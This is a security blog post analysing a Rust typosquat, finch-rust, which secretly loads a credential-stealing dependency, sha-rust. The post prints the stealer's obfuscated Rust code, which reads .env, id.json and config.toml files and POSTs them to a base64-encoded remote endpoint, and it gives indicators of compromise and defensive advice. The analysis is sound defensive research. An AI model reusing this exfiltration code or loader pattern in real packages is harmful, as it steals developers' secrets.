Malicious Crate Mimicking ‘Finch’ Exfiltrates Credentials via a Hidden Dependency

Socket found a Rust typosquat (finch-rust) that loads sha-rust to steal credentials, using impersonation and an unpinned dependency to auto-deliver updates.

  • Kush Pandya
5 min read
Malicious Crate Mimicking ‘Finch’ Exfiltrates Credentials via a Hidden Dependency

Socket's Threat Research Team discovered two malicious crates targeting Rust developers through typosquatting. The malicious finch-rust published by threat actor faceless impersonates the legitimate bioinformatics tool finch (over 67,000 downloads) while acting as a malware loader that secretly depends on sha-rust, a credential-stealing package that evolved through eight iterations over 2 weeks .

We reported this to the Rust Security team, and they responded by removing it almost immediately.

Socket's AI Scanner analysis flagged sha-rust for malicious data exfiltration.

Typosquatting the finch package

#

The legitimate finch package is a genomic MinHashing tool with 67,223 all-time downloads. The threat actor created finch-rust with nearly identical functionality but injected a single malicious line that triggers the credential stealer.

Legitimate Package:

Malicious Package:

  • finch-rust v0.6.2 - published 15 days ago
  • Repository: github.com/radioman/finch-rust (does not exist)
  • Depends on: sha-rust = "0.1" (unpinned, pulls latest malware)

The typosquat uses language-suffix naming - developers searching for "finch" might assume finch-rust is the Rust-specific version.

Crates.io search results show the legitimate finch crate versus the malicious finch-rust typosquat. The similar descriptions make the typosquat appear legitimate.

The Hidden Payload

#

finch-rust appears legitimate until you examine src/filtering.rs. Inline comments here and below added by Socket for clarity.

C#
pub fn to_serialized() -> HashMap<String, String> {
    let mut filter_stats: HashMap<String, String> = HashMap::new();

    let filte_var1 = 42;  // Dummy variables (note the typo: "filte")
    let filte_var2 = "test_string".to_string();
    let filte_var3 = vec![1, 2, 3, 4, 5];

    let _ = sha_rust::from_str();  // Malware trigger

    // More dummy code to obscure the malicious call
    let _temp_result = filte_var1 * 2;
    let _temp_string = format!("{}_formatted", filte_var2);

    filter_stats
}

finch-rust acts as a malware loader; it contains mostly legitimate code copied from the legitimate finch package but includes a single malicious line that loads and executes the sha-rust payload. This separation of concerns makes detection harder: finch-rust looks benign in isolation, while sha-rust contains the actual malware. The malware doesn't execute on installation but activates when developers actually use the library's functionality sketch serialization - a core operation when using finch.

Note on Rust naming: The dependency sha-rust in Cargo.toml becomes sha_rust (with underscore) when imported in Rust code. This is a standard Rust convention where hyphens in package names are automatically converted to underscores for imports.

Eight Versions of Credential Theft

#

sha-rust evolved rapidly through eight versions within past 2 weeks, showing active development:

The threat actor pivoted from scanning the entire HOME directory (aggressive but obvious) to current directory only (stealthier). Version 0.1.7 added the *. wildcard pattern, matching almost any file with an extension.

How the Malware Works

#

The credential stealer uses base64-encoded strings and obfuscated function names to evade detection:

C#
// Base64-encoded strings
fn _API_URL() -> &'static str {
    decode_str!("aHR0cHM6Ly9ydXN0LWRvY3MtYnVpbGQudmVyY2VsLmFwcC9hcGkvdjE=")
    // Decodes to: https://rust-docs-build[.]vercel[.]app/api/v1
}

fn _S4() -> &'static str {
    decode_str!("LmVudg==")  // ".env"
}

fn _S5() -> &'static str {
    decode_str!("aWQuanNvbg==")  // "id.json"
}

The exfiltration function collects system information using a clever UDP socket trick:

C#
fn _q8w3r(_e1: &Path, _f2: &str) -> Result<(), Box<dyn std::error::Error>> {
    let _g3 = fs::read(_e1)?;  // Read target file

    // Get username from environment
    let _u1 = env::var(_S9()).unwrap_or_else(|_| _S10().to_string());
    // _S9 = "USER", _S10 = "unknown"

    // Get IP address without actual network traffic
    let _u2 = {
        let socket = UdpSocket::bind("0.0.0.0:0").ok();
        if let Some(sock) = socket {
            if sock.connect("8.8.8.8:80").is_ok() {
                sock.local_addr()
                    .map(|a| a.ip().to_string())
                    .unwrap_or_default()
            } else {
                "unknown".to_string()
            }
        } else {
            "unknown".to_string()
        }
    };

    // Build payload: "username@192.168.1.100\n<file contents>"
    let mut _payload = Vec::new();
    _payload.extend_from_slice(format!("{}@{}", _u1, _u2).as_bytes());
    _payload.push(0x0A);  // Newline
    _payload.extend_from_slice(&_g3);

    // POST to C2 server
    let _i5 = reqwest::blocking::Client::new();
    let _j6 = _i5
        .post(_f2)
        .header("Content-Type", "application/octet-stream")
        .header("Content-Disposition", format!("attachment; filename=\"{}\"", filename))
        .body(_payload)
        .send()?;

    Ok(())
}

The UDP socket trick is elegant: "connecting" to Google DNS (8.8.8.8:80) doesn't send packets but forces the OS to determine which network interface would be used, revealing the local IP address.

The GitHub Impersonation

#

Investigation revealed an elaborate identity theft scheme spanning multiple layers:

Identity Layering —

  1. the Real vs. Fake Identity:
  • "faceless" - The threat actor
  • Real GitHub user "radioman": Legitimate Rust developer with 121 GitHub contributions in the last year, maintains active projects including Solana trading bots (1,001 stars) and other utilities
  • Threat actor's claimed repositories: github.com/radioman/finch-rust and github.com/radioman/sha-rust - neither repository exists
  • Fabricated email: finch-rust claims author "Radioman - vincent@radioman[.]com" while sha-rust uses "radioman - radioman@users[.]noreply[.]github[.]com"

The use of radioman@users[.]noreply[.]github[.]com further indicates impersonation, because this is a GitHub-generated privacy email that cannot receive messages and does not confirm ownership of the real “radioman” account. Anyone can put this address in a Cargo.toml without proving any connection to the actual developer.

Side-by-side comparison showing the real radioman GitHub account (left) with legitimate Solana trading bot projects versus the threat actor faceless (right) who forked these repositories to build false credibility while publishing malware.

By claiming repositories under the real radioman username and using professional-looking email addresses, the threat actor created multiple layers of false legitimacy. Developers who check the package metadata see references to a real, active GitHub developer with legitimate Rust projects, making malicious packages appear trustworthy.

Additional Impersonation Layer: The threat even spoofed Git commit authorship in their own repositories, setting the commit author to "radioman" while using the GitHub account "face-lessssss". This created added confusion. The repositories show "radioman" as the committer despite being owned by a completely different account. This is possible because Git commit metadata is not verified by GitHub and can be set to any value.

This multi-layered impersonation makes attribution difficult and deflects suspicion toward an innocent developer.

While these repositories are owned by the threat actor's account face-lessssss, the commit history shows radioman as the author. Git allows anyone to set arbitrary author names in commit metadata, and GitHub doesn't verify this matches the account owner. This deflects blame toward the innocent radioman developer and makes attribution more difficult.

What Gets Stolen

#

The malware targets files containing credentials:

Configuration Files:

  • .env - Environment variables (API keys, database URLs)
  • *.env - All environment file variants (production.env, staging.env, dev.env)
  • config.toml - Application configuration
  • id.json - Identity and authentication tokens
  • **.* - Any file with an extension (v0.1.7 only)

Data is exfiltrated via HTTPS POST to rust-docs-build[.]vercel[.]app/api/v1, with 100ms delays between requests to avoid detection.

Unpinned Dependency Delivers Latest Malware

#

finch-rust operates as a malware loader with an unpinned dependency that automatically delivers the latest malicious payload. It declares its dependency as:

[dependencies]
sha-rust = "0.1"  # Unpinned version specification

While finch-rust's published Cargo.lock shows version 0.1.0, downstream users never see this lock file. Cargo only reads Cargo.toml when resolving transitive dependencies. When developers add finch-rust to their projects, Cargo reads the unpinned "0.1" specification from finch-rust's Cargo.toml and resolves it to the latest available 0.1.x version on crates.io (currently v0.1.7). This means nearly all victims automatically receive the most aggressive malware variant v0.1.7

The threat actor's strategy maximizes impact: publish the malware loader with an unpinned dependency, then iterate on the payload over two weeks. Each new victim automatically gets the evolved, optimized version without any indication in finch-rust's source code that the malware has changed.

Outlook and Recommendations

#

This attack demonstrates supply chain threats maturing in the Rust ecosystem. The threat actor faceless combined typosquatting, impersonation, and unpinned dependencies to automatically deliver evolved malware to victims over time. The fabricated GitHub repository URLs and impersonation of legitimate developer radioman shows how the threat actor exploited weak verification in package registry.

The techniques demonstrated here - execution triggers, base64 obfuscation, unpinned transitive dependencies, and non-existent repository claims, will reappear in future campaigns as Rust adoption accelerates in security-critical domains like bioinformatics, blockchain, and systems programming.

Developers should harden the specific points where this campaign succeeds:

  • Verify packages before installation: Check that claimed GitHub repositories actually exist, compare download counts, and watch for language-suffix typosquats
  • Pin dependency versions in Cargo.toml: Use "=1.2.3" instead of "1.2.3" to prevent automatic updates to malicious versions
  • Review transitive dependencies: Run cargo tree to inspect the full dependency graph (the malware hides in sha-rust, not finch-rust directly)
  • Audit code for red flags: Base64-encoded strings, obfuscated function names (_x7f3a, _k9b2x), unexpected network calls (especially reqwest, UdpSocket)
  • Rotate credentials immediately if infected: Cloud providers (AWS, GCP, Azure), databases, API keys from any .env, config.toml, or id.json files.

Organizations should integrate automated package analysis into development workflows:

  • Run real-time PR and dependency scanning to catch behaviors such as:
    • Network connections to suspicious domains during builds
    • Base64-encoded obfuscation patterns
    • File system scanning and credential harvesting
    • UDP socket tricks for IP collection

Socket’s security tooling is designed to support this kind of defense in-depth. Socket's free GitHub App inspects dependencies during pull request review, while the Socket CLI applies behavior-level checks at install time. Socket Firewall blocks known malicious packages before cargo fetches them, including transitive dependencies. The Socket browser extension warns developers about suspicious packages while browsing crates.io, helping catch threats like finch-rust before installation. Socket MCP extends similar protections into AI-assisted coding by detecting and flagging malicious or hallucinated packages in LLM suggestions.

Indicators of Compromise

#

Malicious Packages:

  1. finch-rust
  2. sha-rust

Network Indicators:

  • rust-docs-build[.]vercel[.]app

Threat Actor Identifiers:

  • Rust Alias - faceless
  • GitHub Repository - face-lessssss
  • Email Addresses - vincent@radioman[.]com & radioman@users[.]noreply[.]github[.]com

MITRE ATT&CK Techniques

#
  • T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain
  • T1204.005 - User Execution: Malicious Library
  • T1036 - Masquerading
  • T1027 - Obfuscated Files or Information
  • T1552.001 - Unsecured Credentials: Credentials in Files
  • T1083 - File and Directory Discovery
  • T1041 - Exfiltration Over C2 Channel
Stay ahead of threats

Subscribe to our newsletter

Get notified when we publish new security blog posts!